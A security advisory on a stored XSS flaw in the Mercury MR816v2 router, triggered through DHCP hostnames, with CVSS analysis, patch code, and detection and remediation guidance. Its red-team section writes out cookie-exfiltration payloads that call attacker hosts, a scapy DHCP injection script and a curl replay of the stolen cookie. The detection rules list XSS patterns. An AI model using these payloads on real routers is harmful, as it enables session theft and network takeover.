CVE-2025-65289

Executive Summary

CVE-2025-65289 is a stored Cross-Site Scripting (XSS) vulnerability in the Mercury MR816v2 router (firmware version 4.8.7 Build 110427 Rel 36550n). An attacker on the local network can inject malicious JavaScript into the router's management interface by submitting a crafted hostname via DHCP. The injected script is stored and later executed in the context of an administrator's browser, for example after a DHCP release/renew triggers the interface to display the stored hostname. Because the management interface uses weak/basic authentication and does not properly protect or isolate session material, the XSS can be used to exfiltrate the admin session and perform administrative actions. The vendor has not released a patch, and no official fix is available.

Supply Chain & Package Security

This vulnerability is not related to NPM, PyPI, Go, or Ruby packages. It is a firmware-level issue in a consumer router.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:A/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:H
• Base Score: 7.6 (High)
• Attack Vector (AV): Adjacent Network (AV:A) – attacker must be on the same LAN.
• Attack Complexity (AC): Low (AC:L) – no special conditions required.
• Privileges Required (PR): Low (PR:L) – attacker needs a valid DHCP client.
• User Interaction (UI): Required (UI:R) – admin must view the affected page.
• Scope (S): Unchanged (S:U) – the vulnerability does not cross trust boundaries.
• Confidentiality (C): High (C:H) – session tokens and sensitive data can be exfiltrated.
• Integrity (I): High (I:H) – attacker can modify router settings.
• Availability (A): High (A:H) – attacker can disrupt router operation.

Threat Level: High. The vulnerability allows a LAN attacker to gain full administrative control of the router, leading to potential man-in-the-middle attacks, DNS poisoning, and network compromise.

Deep Dive & Mechanics

The vulnerability resides in the DHCP client functionality of the Mercury MR816v2 router. When a DHCP client (e.g., a laptop or IoT device) sends a DHCP request with a malicious hostname containing JavaScript, the router stores this hostname in its DHCP lease table. The management interface, which displays active DHCP leases, does not sanitize or escape the hostname before rendering it in the admin's browser. When an administrator views the DHCP lease list (e.g., after a DHCP release/renew), the injected script executes in the context of the admin's session.

Root Cause: Lack of output encoding/escaping of user-supplied hostnames in the DHCP lease display page. The router's web interface uses basic authentication (Base64-encoded credentials) and does not implement CSRF tokens or secure session cookies, making it trivial for the XSS payload to perform administrative actions.

Attack Flow:

1. Attacker connects to the LAN (e.g., via Wi-Fi or Ethernet).
2. Attacker sends a DHCP request with a hostname like <script>fetch('http://attacker.com/steal?cookie='+document.cookie)</script>.
3. Router stores the hostname in its DHCP lease table.
4. Admin logs into the router's management interface and views the DHCP lease list.
5. The malicious script executes, exfiltrating the admin's session cookie to the attacker's server.
6. Attacker uses the stolen cookie to authenticate and modify router settings (e.g., change DNS, disable firewall).

Vulnerable vs. Patched Code

Vulnerable Code (Conceptual): The router's web interface likely uses a template like:

<?php
$hostname = get_dhcp_lease_hostname($lease_id);
echo "<tr><td>$hostname</td></tr>";
?>

No sanitization or escaping is applied to $hostname.

Patched Code (Hypothetical):

<?php
$hostname = get_dhcp_lease_hostname($lease_id);
$safe_hostname = htmlspecialchars($hostname, ENT_QUOTES, 'UTF-8');
echo "<tr><td>$safe_hostname</td></tr>";
?>

The htmlspecialchars function escapes HTML special characters, preventing script injection.

Exploitation & Lab Setup

Red Team

Prerequisites:

• Attacker machine on the same LAN as the target router.
• Ability to send DHCP requests (e.g., using dhclient or a custom script).
• A web server to receive exfiltrated data (e.g., python3 -m http.server 80).

Exploit Steps:

1. Set up a listener on the attacker machine:

   python3 -m http.server 80
   

2. Send a DHCP request with a malicious hostname:

   sudo dhclient -r
   sudo dhclient -H '<script>new Image().src="http://attacker_ip/steal?c="+document.cookie</script>'
   

   Alternatively, use a tool like dhcpstarv or a custom Python script:

   from scapy.all import *
   import socket
   import struct
   
   def dhcp_request(mac, hostname):
       eth = Ether(dst="ff:ff:ff:ff:ff:ff", src=mac, type=0x0800)
       ip = IP(src="0.0.0.0", dst="255.255.255.255")
       udp = UDP(sport=68, dport=67)
       bootp = BOOTP(chaddr=[int(x,16) for x in mac.split(':')], xid=0x12345678)
       dhcp = DHCP(options=[("message-type", "request"), ("hostname", hostname), "end"])
       pkt = eth/ip/udp/bootp/dhcp
       sendp(pkt, iface="eth0")
   
   dhcp_request("00:11:22:33:44:55", '<script>new Image().src="http://192.168.1.100/steal?c="+document.cookie</script>')
   

3. Wait for the admin to view the DHCP lease list. The script will execute and send the cookie to the attacker's server.
4. Use the stolen cookie to access the router's admin interface:

   curl -b "cookie_name=stolen_cookie_value" http://router_ip/
   

Blue Team

Detection:

• Monitor DHCP traffic for unusual hostnames containing HTML/JavaScript characters (e.g., <, >, script).
• Use network monitoring tools (e.g., Wireshark, Zeek) to alert on DHCP hostnames with suspicious patterns.
• Check router logs for repeated DHCP requests from the same MAC address with varying hostnames.

Mitigation:

• Isolate the router's management interface from the LAN (e.g., use a dedicated management VLAN).
• Implement strong authentication (e.g., HTTPS with modern TLS, session tokens with HttpOnly and Secure flags).
• Apply input validation and output encoding on all user-supplied data displayed in the web interface.

Indicators of Compromise (IOCs)

• Network IOCs:

  • DHCP requests with hostnames containing <script>, onerror, onload, or other HTML event handlers.
  • Outbound HTTP requests from the router's IP to unknown external IPs (e.g., for cookie exfiltration).
  • Unusual DHCP release/renew sequences from a single MAC address.

• Host IOCs:

  • Router configuration changes (e.g., modified DNS servers, disabled firewall) without admin knowledge.
  • Presence of unexpected JavaScript in the router's web interface source code.

• File IOCs:

  • No file-based IOCs as the attack is memory-based (XSS in browser).

Detection Engineering

YARA Rule

rule CVE_2025_65289_DHCP_Hostname_XSS {
    meta:
        description = "Detects DHCP hostnames containing XSS payloads targeting Mercury MR816v2"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-65289"
    strings:
        $xss_pattern_1 = /<script[^>]*>/i
        $xss_pattern_2 = /onerror\s*=/i
        $xss_pattern_3 = /onload\s*=/i
        $xss_pattern_4 = /javascript\s*:/i
    condition:
        any of ($xss_pattern_*) and filesize < 1MB
}

Sigma Rule

title: DHCP Hostname XSS Payload Detection
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects DHCP requests with hostnames containing XSS indicators
author: Valters IT
date: 2025-04-10
logsource:
    category: network
    product: dhcp
detection:
    selection:
        hostname|contains:
            - '<script'
            - 'onerror='
            - 'onload='
            - 'javascript:'
    condition: selection
falsepositives:
    - Legitimate hostnames with similar patterns (rare)
level: high

Suricata Rule

alert udp $HOME_NET any -> any 67 (msg:"CVE-2025-65289 DHCP Hostname XSS Attempt"; content:"|00|"; depth:1; content:"|3c 73 63 72 69 70 74|"; distance:0; within:100; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable remote management and restrict management access to a dedicated, isolated VLAN.
2. Use strong authentication – if possible, enable HTTPS and use a strong admin password.
3. Monitor DHCP traffic for suspicious hostnames and block offending MAC addresses.
4. Apply input validation – if custom firmware is available, sanitize hostnames before display.

Long-term Fix:

• The vendor (Mercury) must release a firmware update that properly escapes hostnames in the DHCP lease display page. Since no patch is available, consider replacing the router with a more secure model.

Workarounds:

• Use a separate DHCP server (e.g., on a Linux box) that sanitizes hostnames before forwarding them to the router.
• Implement a reverse proxy in front of the router's web interface to filter out XSS payloads.

Valters IT